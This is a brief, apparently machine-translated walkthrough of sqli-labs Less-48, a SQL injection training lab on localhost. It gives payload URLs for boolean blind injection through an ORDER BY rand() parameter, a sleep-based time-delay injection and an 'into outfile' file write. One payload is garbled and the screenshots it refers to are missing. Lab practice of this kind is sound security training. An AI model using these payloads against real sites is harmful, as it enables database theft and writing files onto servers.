Sqli-labs less 48

Less-48

The difference between this and less-46 is that the error injection can not be used, do not make the wrong echo, so other methods we can still use.

Can be judged using Sort=rand (True/false).

Http://127.0.0.1/sqli-labs/Less-48/?sort=rand (ASCII (Left (database (), 1)) =178)

Http://127.0.0.1/sqli-labs/Less-48/?sort=rand (ASCII (Left (database (), 1)) =115)

Delay injection after and

Http://127.0.0.1/sqli-labs/Less-48/?sort=1%20and%20 (If (ASCII (substr ()) =115,0,sleep (5)))

No, it's not posted.

We can still do this with into outfile.

Http://127.0.0.1/sqllib/Less-48/?sort=1 into outfile "path"

The stickers are not shown here.

Sqli-labs less 48